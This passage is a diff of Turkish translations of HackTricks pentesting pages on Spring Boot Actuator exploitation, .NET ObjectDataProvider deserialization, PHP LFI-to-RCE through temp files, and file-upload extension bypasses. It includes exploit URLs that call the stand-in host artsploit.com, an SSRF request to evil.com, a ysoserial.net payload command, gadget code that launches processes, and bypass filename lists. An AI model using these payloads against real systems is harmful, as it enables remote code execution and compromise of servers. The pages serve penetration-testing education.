CSP aracılığıyla Güvenilir Türlerin zorlanması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasına izin vererek, JavaScript kodunu varsayılan olarak güvence altına alır.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Bu başlık, XSS güvenlik açıklarına yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
|
||||
Bu başlık, XSS zafiyetlerine yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Exploiting Spring Boot Actuators
|
||||
|
||||
@ -14,15 +14,15 @@
|
||||
|
||||
### **Key Points:**
|
||||
|
||||
- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında, bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
|
||||
- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında, bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren, yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
|
||||
- Belirli Actuator uç noktaları hassas verileri açığa çıkarabilir veya zararlı eylemlere izin verebilir:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`.
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`.
|
||||
- Spring Boot 1.x'te, aktüatörler kök URL altında kaydedilirken, 2.x'te `/actuator/` temel yolu altındadır.
|
||||
|
||||
### **Exploitation Techniques:**
|
||||
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- `/jolokia` aktüatör uç noktası, MBean'lere HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır.
|
||||
- `/jolokia` aktüatör uç noktası, MBeans'e HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır.
|
||||
- `reloadByURL` eylemi, dış bir URL'den günlük yapılandırmalarını yeniden yüklemek için istismar edilebilir; bu, kör XXE veya hazırlanmış XML yapılandırmaları aracılığıyla Uzaktan Kod Yürütme ile sonuçlanabilir.
|
||||
- Örnek istismar URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Config Modification via '/env'**:
|
||||
@ -41,7 +41,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Other Useful Settings**:
|
||||
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirmek gibi çeşitli istismarlar için manipüle edilebilir.
|
||||
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirmek gibi çeşitli istismarlar için manipüle edilebilir.
|
||||
|
||||
### **Additional Information:**
|
||||
|
||||
@ -52,15 +52,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- `/env` uç noktası ve H2 veritabanının kombinasyonunu istismar etme detayları [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Spring çerçevesinin HTTP yol adlarındaki matris parametrelerini (`;`) ele alması, Sunucu Tarafı İstek Sahteciliği (SSRF) için istismar edilebilir.
|
||||
- Örnek istismar isteği:
|
||||
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,14 +1,14 @@
|
||||
# Temel .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper ve Json.Net)
|
||||
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu yazı, **ObjectDataProvider gadget'ının nasıl istismar edildiğini** anlamaya ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır.
|
||||
Bu gönderi, **ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya** ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır.
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur._\
|
||||
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **keyfi bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **keyfi parametreler ayarlamaya** ve ardından **keyfi bir işlevi** çağırmak için **MethodName** kullanmaya olanak tanır.\
|
||||
Bu nedenle, keyfi **nesne**, **deserialization** sırasında **parametrelerle bir işlevi** **çalıştıracaktır.**
|
||||
Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur_.\
|
||||
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\
|
||||
Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.**
|
||||
|
||||
### **Bu nasıl mümkün**
|
||||
|
||||
@ -18,11 +18,11 @@ Bu nedenle, keyfi **nesne**, **deserialization** sırasında **parametrelerle bi
|
||||
|
||||
.png>)
|
||||
|
||||
Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, şimdi bunun ne yaptığını görelim:
|
||||
Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, ne yaptığını görelim:
|
||||
|
||||
.png>)
|
||||
|
||||
Tamam, şimdi `this.BeginQuery()`'nin ne yaptığını görelim. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı:
|
||||
Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -30,9 +30,9 @@ Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi
|
||||
|
||||
.png>)
|
||||
|
||||
Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metod setinin çağrıldığı** satırdır.
|
||||
Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metodun ayarlandığı yer**.
|
||||
|
||||
Sadece _**MethodName**_ ayarlayarak bunun **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
|
||||
Sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -58,8 +58,8 @@ Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Fram
|
||||
|
||||
Önceki istismarı kullanarak, **nesne** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` gibi). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
|
||||
|
||||
Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
|
||||
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_\*\*'ı bir \*\*_**ExpandedWrapper** \_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
|
||||
Bu sınıf, belirli bir örnekte kapsüllenmiş olan nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
|
||||
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
|
||||
|
||||
Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:
|
||||
```java
|
||||
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği** belirtilmiştir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz.
|
||||
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, bir nesneyi sadece serileştirerek **RCE**'ye neden olabiliriz.
|
||||
|
||||
### Json.Net örneği
|
||||
|
||||
@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
|
||||
```
|
||||
### Json.Net'i Kötüye Kullanma
|
||||
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak istismarı oluşturdum:
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak bir istismar oluşturdum:
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# LFI2RCE Sonsuz Bekleme ile
|
||||
# LFI2RCE via Eternal waiting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Varsayılan olarak, bir dosya PHP'ye yüklendiğinde (beklemese bile), **`php[a-zA-Z0-9]{6}`** gibi bir isimle `/tmp` dizininde geçici bir dosya oluşturur, ancak bazı docker imajlarında oluşturulan dosyaların rakam içermediğini gördüm.
|
||||
Varsayılan olarak, bir dosya PHP'ye yüklendiğinde (beklemese bile), `/tmp` dizininde **`php[a-zA-Z0-9]{6}`** gibi bir isimle geçici bir dosya oluşturur, ancak bazı docker imajlarında oluşturulan dosyaların rakam içermediğini gördüm.
|
||||
|
||||
Yerel dosya dahil etmede, **eğer o yüklenen dosyayı dahil etmeyi başarırsanız, RCE elde edersiniz**.
|
||||
|
||||
@ -22,68 +22,68 @@ Bu teknik, **sıfır gün bulmaya gerek kalmadan** sonuncusuna **çok benzer**.
|
||||
|
||||
### Sonsuz bekleme tekniği
|
||||
|
||||
Bu teknikte **sadece bir göreli yolu kontrol etmemiz gerekiyor**. Dosyaları yüklemeyi başarabilir ve **LFI'nin asla bitmemesini** sağlayabilirsek, **yüklenen dosyaları brute-force** yapacak ve **yüklenenlerden herhangi birini bulmak için "yeterince zaman"** elde edeceğiz.
|
||||
Bu teknikte **sadece bir göreli yolu kontrol etmemiz gerekiyor**. Dosyaları yüklemeyi başarabilir ve **LFI'nin asla bitmemesini** sağlayabilirsek, **yüklenen dosyaları brute-force** yapacak "yeterli zaman"ımız olacak ve **yüklenenlerden herhangi birini bulabileceğiz**.
|
||||
|
||||
**Bu tekniğin avantajları**:
|
||||
|
||||
- Sadece bir include içinde bir göreli yolu kontrol etmeniz gerekiyor
|
||||
- Nginx veya log dosyalarına erişim için beklenmedik bir seviyeye ihtiyaç duymaz
|
||||
- Segmentasyon hatası oluşturmak için bir 0 güne ihtiyaç duymaz
|
||||
- Yol ifşası gerektirmez
|
||||
- Sadece bir include içinde göreli bir yolu kontrol etmeniz gerekiyor
|
||||
- Nginx veya log dosyalarına beklenmedik bir erişim seviyesi gerektirmiyor
|
||||
- Segmentasyon hatası oluşturmak için bir 0 gün gerektirmiyor
|
||||
- Yol ifşası gerektirmiyor
|
||||
|
||||
Bu tekniğin **ana sorunları** şunlardır:
|
||||
|
||||
- Belirli bir dosya(lar)ın mevcut olmasını gerektirir (daha fazlası olabilir)
|
||||
- Belirli bir dosyanın (veya dosyaların) mevcut olmasını gerektirir (daha fazlası olabilir)
|
||||
- **Çılgın** miktarda potansiyel dosya adı: **56800235584**
|
||||
- Sunucu **rakam kullanmıyorsa** toplam potansiyel miktar: **19770609664**
|
||||
- Varsayılan olarak **tek bir istekte yalnızca 20 dosya** yüklenebilir.
|
||||
- Kullanılan sunucunun **maksimum paralel işçi sayısı**.
|
||||
- Bu limit, önceki limitlerle birlikte bu saldırının çok uzun sürmesine neden olabilir
|
||||
- Bu limitler, bu saldırının çok uzun sürmesine neden olabilir
|
||||
- **PHP isteği için zaman aşımı**. İdeal olarak bu sonsuz olmalı veya geçici yüklenen dosyaları silmeden PHP sürecini öldürmelidir, aksi takdirde bu da bir sorun olacaktır
|
||||
|
||||
Peki, **PHP include'ını asla nasıl bitirebilirsiniz**? Sadece dosyayı **`/sys/kernel/security/apparmor/revision`** dahil ederek (**maalesef Docker konteynerlerinde mevcut değil...**).
|
||||
Peki, **PHP include'ını asla nasıl bitirebilirsiniz**? Sadece dosyayı **`/sys/kernel/security/apparmor/revision`** ekleyerek (**maalesef Docker konteynerlerinde mevcut değil...**).
|
||||
|
||||
Bunu sadece arayarak deneyin:
|
||||
Bunu sadece çağırarak deneyin:
|
||||
```bash
|
||||
php -a # open php cli
|
||||
include("/sys/kernel/security/apparmor/revision");
|
||||
```
|
||||
## Apache2
|
||||
|
||||
Varsayılan olarak, Apache **150 eşzamanlı bağlantı** destekler, [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) bağlantısına göre bu sayı **8000**'e kadar yükseltilebilir. Bu modül ile PHP kullanmak için şunu takip edin: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
Varsayılan olarak, Apache **150 eşzamanlı bağlantı** destekler, [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) adresine göre bu sayı **8000**'e kadar yükseltilebilir. Bu modül ile PHP kullanmak için şunu takip edin: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
|
||||
Varsayılan olarak, (testlerimde gördüğüm kadarıyla), bir **PHP süreci sonsuza kadar sürebilir**.
|
||||
|
||||
Hesap yapalım:
|
||||
|
||||
- **149 bağlantı** kullanarak **149 \* 20 = 2980 geçici dosya** oluşturabiliriz.
|
||||
- Sonra, **son bağlantıyı** potansiyel dosyaları **brute-force** yapmak için kullanın.
|
||||
- Sonra, **son bağlantıyı** potansiyel dosyaları **brute-force** için kullanın.
|
||||
- **10 istek/s** hızında süreler:
|
||||
- 56800235584 / 2980 / 10 / 3600 \~= **530 saat** (265 saatte %50 şans)
|
||||
- (rakam olmadan) 19770609664 / 2980 / 10 / 3600 \~= 185saat (93 saatte %50 şans)
|
||||
|
||||
> [!WARNING]
|
||||
> Önceki örnekte **diğer istemcileri tamamen DoS'liyoruz**!
|
||||
> Önceki örnekte **diğer istemcileri tamamen DoS'ladığımızı** unutmayın!
|
||||
|
||||
Eğer Apache sunucusu geliştirilirse ve **4000 bağlantı** kötüye kullanılabilirse (maksimum sayıya yarı yol). `3999*20 = 79980` **dosya** oluşturabiliriz ve **sayı** yaklaşık **19.7saat** veya **6.9saat** (10saat, 3.5saat %50 şans) olarak **azalır**.
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
Eğer Apache için PHP betiklerini çalıştırmak için normal php modunu kullanmak yerine **web sayfası** **PHP-FMP** kullanıyorsa (bu, web sayfasının verimliliğini artırır, bu yüzden sıkça bulunur), tekniği geliştirmek için başka bir şey yapılabilir.
|
||||
Eğer PHP betiklerini çalıştırmak için Apache için normal php modunu kullanmak yerine **web sayfası** **PHP-FMP** kullanıyorsa (bu, web sayfasının verimliliğini artırır, bu yüzden sıkça bulunur), tekniği geliştirmek için başka bir şey yapılabilir.
|
||||
|
||||
PHP-FMP, **`/etc/php/<php-version>/fpm/pool.d/www.conf`** dosyasında **`request_terminate_timeout`** **parametresini** **ayarlar**.\
|
||||
Bu parametre, **PHP'ye yapılan isteğin ne zaman sona ereceğini** belirten maksimum saniye sayısını gösterir (varsayılan olarak sonsuzdur, ancak **parametre yorumlanırsa 30s** olur). PHP tarafından işlenen bir isteğin belirtilen saniye sayısı dolduğunda, **öldürülür**. Bu, eğer istek geçici dosyalar yüklüyorsa, **php işlemesi durdurulduğu için**, o **dosyaların silinmeyeceği** anlamına gelir. Bu nedenle, bir isteğin o süre boyunca sürmesini sağlarsanız, **silinmeyecek binlerce geçici dosya** oluşturabilirsiniz, bu da **onları bulma sürecini hızlandırır** ve platforma tüm bağlantıları tüketerek bir DoS olasılığını azaltır.
|
||||
Bu parametre, **PHP'ye yapılan isteğin ne zaman sona ermesi gerektiğini** belirten maksimum saniye sayısını gösterir (varsayılan olarak sonsuz, ancak **parametre yorum satırından çıkarıldığında 30s**). PHP tarafından işlenen bir istek belirtilen saniye sayısında **öldürülür**. Bu, eğer istek geçici dosyalar yüklüyorsa, **php işlemesi durdurulduğu için**, bu **dosyaların silinmeyeceği** anlamına gelir. Bu nedenle, bir isteğin o süre boyunca sürmesini sağlarsanız, **silinmeyecek binlerce geçici dosya** oluşturabilirsiniz, bu da **onları bulma sürecini hızlandırır** ve tüm bağlantıları tüketerek platforma DoS olasılığını azaltır.
|
||||
|
||||
Bu nedenle, **DoS'tan kaçınmak için** bir **saldırganın aynı anda yalnızca 100 bağlantı** kullanacağını varsayalım ve php max işleme süresi **php-fmp** (`request_terminate_timeout`**)** **30s**'dir. Bu nedenle, **saniyede** oluşturulabilecek **geçici dosya** sayısı `100*20/30 = 66.67`'dir.
|
||||
Bu nedenle, **DoS'tan kaçınmak için** bir **saldırganın aynı anda yalnızca 100 bağlantı** kullanacağını varsayalım ve php max işleme süresi **php-fmp** (`request_terminate_timeout`**) **30s**. Bu nedenle, **saniyede** oluşturulabilecek **geçici dosya** sayısı `100*20/30 = 66.67`'dir.
|
||||
|
||||
Sonra, **10000 dosya** oluşturmak için bir saldırganın ihtiyacı olacak: **`10000/66.67 = 150s`** ( **100000 dosya** oluşturmak için süre **25dakika** olacaktır).
|
||||
|
||||
Sonra, saldırgan bu **100 bağlantıyı** bir **arama brute-force** gerçekleştirmek için kullanabilir. \*\*\*\* 300 req/s hızında varsayarsak, bunu istismar etmek için gereken süre aşağıdaki gibidir:
|
||||
Sonra, saldırgan bu **100 bağlantıyı** bir **arama brute-force** gerçekleştirmek için kullanabilir. 300 req/s hızında bu işlemi gerçekleştirmek için gereken süre aşağıdaki gibidir:
|
||||
|
||||
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 saat** (2.63 saatte %50 şans)
|
||||
- (100000 dosya ile) 56800235584 / 100000 / 300 / 3600 \~= **0.525 saat** (0.263 saatte %50 şans)
|
||||
|
||||
Evet, bir EC2 orta boyutlu örneğinde 100000 geçici dosya oluşturmak mümkündür:
|
||||
Evet, bir EC2 orta boyutlu örnekte 100000 geçici dosya oluşturmak mümkündür:
|
||||
|
||||
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -92,6 +92,6 @@ Evet, bir EC2 orta boyutlu örneğinde 100000 geçici dosya oluşturmak mümkün
|
||||
|
||||
## Nginx
|
||||
|
||||
Görünüşe göre varsayılan olarak Nginx **512 paralel bağlantı** destekler (ve bu sayı artırılabilir).
|
||||
Görünüşe göre varsayılan olarak Nginx **512 paralel bağlantı** desteklemektedir (ve bu sayı artırılabilir).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,10 +18,10 @@ Diğer yararlı uzantılar:
|
||||
### Dosya uzantısı kontrollerini atlama
|
||||
|
||||
1. Eğer uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
2. _**Geçerli bir uzantıyı** yürütme uzantısından **önce eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
|
||||
3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce bahsedilen **uzantıları** kullanmayı da deneyebilirsiniz_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını** kandırarak korumaları atlamayı deneyin, örneğin uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,19 +40,19 @@ Diğer yararlı uzantılar:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
|
||||
5. Önceki kontrol için **bir başka uzantı katmanı** ekleyin:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **Geçerli uzantıdan önce yürütme uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır; _**.php**_ ile bitmese de kodu çalıştırır):
|
||||
- _ör: file.php.png_
|
||||
7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php
|
||||
6. **Geçerli uzantıdan önce exec uzantısını** koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı **_**.php**_** ile çalışacak şekilde yapılandırılmış Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak **.php** ile bitmek zorunda değildir):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak diğer tekniklerle düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maksimum 255 bayt
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
|
||||
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin veriyor. Diyelim ki 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
|
||||
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
|
||||
